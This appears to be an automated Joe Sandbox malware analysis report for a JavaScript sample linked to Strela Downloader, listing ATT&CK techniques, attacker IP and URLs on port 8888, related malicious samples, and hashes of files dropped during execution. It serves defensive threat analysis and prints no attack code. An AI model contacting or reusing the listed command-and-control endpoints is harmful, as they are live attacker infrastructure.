Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2503475573085815370.js	5%	Virustotal		Browse
2503475573085815370.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/tmp	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/_t	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/b	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2166416774.00000215EE520000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3407269622.00000215EE600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2170828193.00000251AE33F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2166150003.00000251AE316000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2170249601.00000251AE316000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2164767025.00000251AE33D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2170147706.00000251AE2E8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/b	net.exe, 00000007.00000002.2170147706.00000251AE2E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/tmp	net.exe, 00000007.00000002.2170147706.00000251AE2E8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/_t	net.exe, 00000007.00000003.2166150003.00000251AE316000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2170249601.00000251AE316000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587543
Start date and time:	2025-01-10 14:37:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2503475573085815370.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 23.209.209.135, 184.28.90.27, 199.232.214.172, 2.16.168.105, 2.16.168.107, 2.22.50.131, 2.22.50.144, 13.107.246.45, 172.202.163.200, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, client.wns.windows.com, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
08:38:04	API Interceptor	24x Sleep call for process: powershell.exe modified
08:38:08	API Interceptor	1x Sleep call for process: net.exe modified
08:38:08	API Interceptor	2x Sleep call for process: svchost.exe modified
08:38:15	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	random.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.210.172
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CY SEC AUDIT PLAN 2025.docx.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	gem2.exe	Get hash	malicious	Xmrig	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	27311161302332319656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1353125634235611874.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	289215992948720779.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1947415746274847548.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10848104561916132198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	145332287313130856.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	67073968285385405.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3144522639186114061.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2012713416258531948.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726310441757763
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0l:9JZj5MiKNnNhoxuo
MD5:	5532ECD3903400E3BE583F60276CFDD7
SHA1:	27B1B3F2105ACFECA2A929D3772552C4F40D024C
SHA-256:	167D611518B74C7B48552DA1FFCF1F711A6AC52790FD7A4A925FF2AC1AC85C72
SHA-512:	5BAA6575B6069E528E36B9C8D491E0B7A90491A06F24917A9A2E9FEA50958C10D170BF87474006F6591EF8580C45FC6E31873E532968B576411C70E8D0E06895
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xafb2d344, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555863209102269
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:FazaSvGJzYj2UlmOlOL
MD5:	DDE3495A95A1895322964FE4AA281ED5
SHA1:	59FEA03F5754FD9CF492271EDEF916087989061D
SHA-256:	3F39236C0D9D0DCD67F0831EA0DB9C6B9421F7BC60D3123DCB0A9233F9284089
SHA-512:	E4B76C39DD86D4AF6EEA6B7A3AD4439B9B29D7DCDED9CD8663A79CB75A55A41CE0D46BBBFADC6A46144DCD5602AD18087C3343AD7D9F723EBBA5312A161E155F
Malicious:	false
Preview:	...D... .......7.......X\...;...{......................0.e......!...{?..&...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.................................._..J.&...}5......................&...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07961050919222179
Encrypted:	false
SSDEEP:	3:BxSllllKYeakCKgGuNaAPaU1lzxo8R/l/olluxmO+l/SNxOf:HWtKzHCKuNDPaU93R/lAgmOH
MD5:	05A9E0E2460A5F45701B25EDD0AAFF1F
SHA1:	0E54DDFFB62F4609DD851F9E384C12CFE83D749A
SHA-256:	F5532B1A2DE75705B3161BFBD5509E271A8588029A6BFBDC55EFDF5EF459D8F8
SHA-512:	B291AE9BC1FB80638C0843F2AAFA7ADC3DE3BD42DD2CA01343A543EF990D84B0DC447E92D73CAA888524490ED0D9609956169F3D2F73DD667C8B51A084A5A904
Malicious:	false
Preview:	.[......................................;...{...&...}...!...{?..........!...{?..!...{?..g...!...{?......................&...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.147581821640481
Encrypted:	false
SSDEEP:	6:iO4odyGuw0Vq2PN72nKuAl9OmbnIFUtSodyEjSgZmwsodyEjSIkwON72nKuAl9Oe:7vXuVvVaHAahFUtRUg/7UI5OaHAaSJ
MD5:	30697712CC570C72A7C47A12540F9257
SHA1:	8E3FAEC33E06C07A5D5F5A448CD8F69EDA1160A8
SHA-256:	917B7ACAE150667A6576EE53F0209777412D0852EF700F989D4941009EECAF1D
SHA-512:	81AF6026958E02F2611F59411000417C15875128F10ADFA5B85EEDC7D638C2AE0D8AEFF7E84F29E1B0C82A3D5078CE69543DEB9815485D9106E41A28DED4CE51
Malicious:	false
Preview:	2025/01/10-08:38:08.281 1b54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:38:08.283 1b54 Recovering log #3.2025/01/10-08:38:08.283 1b54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	298
Entropy (8bit):	5.147581821640481
Encrypted:	false
SSDEEP:	6:iO4odyGuw0Vq2PN72nKuAl9OmbnIFUtSodyEjSgZmwsodyEjSIkwON72nKuAl9Oe:7vXuVvVaHAahFUtRUg/7UI5OaHAaSJ
MD5:	30697712CC570C72A7C47A12540F9257
SHA1:	8E3FAEC33E06C07A5D5F5A448CD8F69EDA1160A8
SHA-256:	917B7ACAE150667A6576EE53F0209777412D0852EF700F989D4941009EECAF1D
SHA-512:	81AF6026958E02F2611F59411000417C15875128F10ADFA5B85EEDC7D638C2AE0D8AEFF7E84F29E1B0C82A3D5078CE69543DEB9815485D9106E41A28DED4CE51
Malicious:	false
Preview:	2025/01/10-08:38:08.281 1b54 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-08:38:08.283 1b54 Recovering log #3.2025/01/10-08:38:08.283 1b54 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.115441827148387
Encrypted:	false
SSDEEP:	6:iO4odyUV1dFN+q2PN72nKuAl9Ombzo2jMGIFUtSodyZFZZmwsodyaVkwON72nKuA:7vPHIvVaHAa8uFUtRqZ/7n5OaHAa8RJ
MD5:	77A79DEA9446416D9213F6F72CA6BC2A
SHA1:	1253EE816EA5C2B55DA9736A8ADF4E7776E8136A
SHA-256:	BF77F553EBFDF3469B16078761593713E5B3A6B2CFA00B1CA4D8A62CBF5BCE76
SHA-512:	02596225BAC7B7912282F8A3F928A9A205E5C1A5F0580308E9307D303EC522E17B64A123DBC42DCED91A5107440AEAFF319CD3C5D1928631CB4C28E373AB8803
Malicious:	false
Preview:	2025/01/10-08:38:08.362 1c88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:38:08.370 1c88 Recovering log #3.2025/01/10-08:38:08.371 1c88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.115441827148387
Encrypted:	false
SSDEEP:	6:iO4odyUV1dFN+q2PN72nKuAl9Ombzo2jMGIFUtSodyZFZZmwsodyaVkwON72nKuA:7vPHIvVaHAa8uFUtRqZ/7n5OaHAa8RJ
MD5:	77A79DEA9446416D9213F6F72CA6BC2A
SHA1:	1253EE816EA5C2B55DA9736A8ADF4E7776E8136A
SHA-256:	BF77F553EBFDF3469B16078761593713E5B3A6B2CFA00B1CA4D8A62CBF5BCE76
SHA-512:	02596225BAC7B7912282F8A3F928A9A205E5C1A5F0580308E9307D303EC522E17B64A123DBC42DCED91A5107440AEAFF319CD3C5D1928631CB4C28E373AB8803
Malicious:	false
Preview:	2025/01/10-08:38:08.362 1c88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-08:38:08.370 1c88 Recovering log #3.2025/01/10-08:38:08.371 1c88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4b885d.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c2e2303f-62d7-4ca3-8f48-e5a985e1afe8.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.971316048517525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ZhsBdOg2HIJnAcaq3QYiubcP7E4T3y:Y2sRdswydMH0r3QYhbA7nby
MD5:	035231FF00BD7A50B86047A28DDB114F
SHA1:	E0E02AC690E2E100699C7AC1E088176EED03E9B8
SHA-256:	08C4EBE72697943DE5D9D89141119694D1D179D58445DB728AEE079AAFD84770
SHA-512:	E8DFEB1893A8B3DF483BD11BEB215A7B11846A9EA9627E567381702E3D946808E41F5D86A4F26E6ECE7E3D4CCAEEC9A3471C7B6E49AA1BC39EE22703A0C222AA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341048370594526","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":151499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ee7ba5bc-9f4c-4471-a404-39878cc9180a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.968435910508577
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3hsBdOg2H/Acaq3QYiubcP7E4T3y:Y2sRdsXdMHj3QYhbA7nby
MD5:	A968528B93628E90BAA5DD793D02DB81
SHA1:	895A723392C475D992D8274BB7C1D6D817F9BFDF
SHA-256:	755F68483EB5B295E63567E7BC9D359FBB3A475626F164EC6EF75FEEA94E3BE4
SHA-512:	791E49DBAC63179D7C593198D136DCD2478061FFDF3D3B37117EAD28AD77D13895BF34C1C656A020155B871950FA13819C51D5DFDFAC0F8244E12E83B6B6B084
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381076300012404","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":316499},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252851936139304
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7OLYKM:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhP
MD5:	5071BF2CA2773AD28256466E8BC8B2C7
SHA1:	37660E508D43F2C7C1050F94DC90D31B20D5F087
SHA-256:	6D159FD7051E2C39347CA11CAD2713F28042F6312F7DE0A4F98D021230DE2608
SHA-512:	0445FDCECEA3885E515BE52ADE126C7D64F542CE18037CAE1AE12AAAEF6F553364FC5A1D7DB6845C8F8A79E8E234F162CF9B79BECF9F62AD373212636C6488F4
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.096819411178531
Encrypted:	false
SSDEEP:	6:iO4odyu+q2PN72nKuAl9OmbzNMxIFUtSodyC/FZZmwsodyC4VkwON72nKuAl9Omk:7vMvVaHAa8jFUtRp/FZ/7pw5OaHAa84J
MD5:	FCEEF2AF8C0C77F42D11B39D71A7C8E0
SHA1:	D5A25C046042334FF3B30433941AFDC2B7E7089E
SHA-256:	B147028FA47F3FA0B93C268BE5D755E3FD5F25FBB8A64FC5A6F7CCF66196D8D1
SHA-512:	3A9C0544F9E0C7364B49BE8B66457D0D331B8690EAFD2BE5C06D37AA23B28E93C1911B45FB7C83180B93A699BC29FD7360E7ABB3B04EC0BA8CD4D39FC08EDE8B
Malicious:	false
Preview:	2025/01/10-08:38:08.519 1c88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:38:08.520 1c88 Recovering log #3.2025/01/10-08:38:08.521 1c88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.096819411178531
Encrypted:	false
SSDEEP:	6:iO4odyu+q2PN72nKuAl9OmbzNMxIFUtSodyC/FZZmwsodyC4VkwON72nKuAl9Omk:7vMvVaHAa8jFUtRp/FZ/7pw5OaHAa84J
MD5:	FCEEF2AF8C0C77F42D11B39D71A7C8E0
SHA1:	D5A25C046042334FF3B30433941AFDC2B7E7089E
SHA-256:	B147028FA47F3FA0B93C268BE5D755E3FD5F25FBB8A64FC5A6F7CCF66196D8D1
SHA-512:	3A9C0544F9E0C7364B49BE8B66457D0D331B8690EAFD2BE5C06D37AA23B28E93C1911B45FB7C83180B93A699BC29FD7360E7ABB3B04EC0BA8CD4D39FC08EDE8B
Malicious:	false
Preview:	2025/01/10-08:38:08.519 1c88 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-08:38:08.520 1c88 Recovering log #3.2025/01/10-08:38:08.521 1c88 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444642270907284
Encrypted:	false
